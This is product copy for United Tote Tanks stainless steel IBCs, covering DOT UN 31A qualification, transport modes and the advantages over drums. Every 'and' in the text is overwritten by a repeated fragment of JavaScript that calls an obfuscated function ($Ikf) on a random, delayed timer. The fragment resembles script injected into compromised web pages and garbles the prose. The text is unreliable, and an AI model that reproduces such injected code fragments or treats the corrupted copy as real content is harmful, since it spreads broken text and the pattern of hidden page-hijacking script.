The United Tote Tanks Intermediate Bulk Container meets the following UN andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and DOT qualifications:
- DOT UN31A permits the shipment of flammable andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and combustible liquids authorized by Title 49 CFR for landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sea transportation of hazardous liquid materials of packaging groups II andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and III.
- Allowable (per DOT) modes of transportation: motor vehicle, rail freight, cargo vessel, or air freight. United Tote Tanks® IBC’s are built to UN specification in United’s ISO 9001:2008 certified manufacturing plant. NMFC Item 21032, Sub 1, Class 125.
- Stainless steel United Tote Tanks® tote tanks are UN 31A qualified on all sizes up to 793-gallon (3,001 liters).
United Tote Tanks, the leading Stainless Steel IBC on the market, is the original intermediate bulk container (IBC) of the liquid handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling industry. United introduced this revolutionary concept over 60 years ago as an efficient andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sensible alternative to the use of 55-gallon drums. One 550-gallon United Tote Tanks® replaces ten drums minimizing the amount of handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling required, which in turn, lowers the risk of liquid handom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andling accidents.
Compare IBCs vs. Drums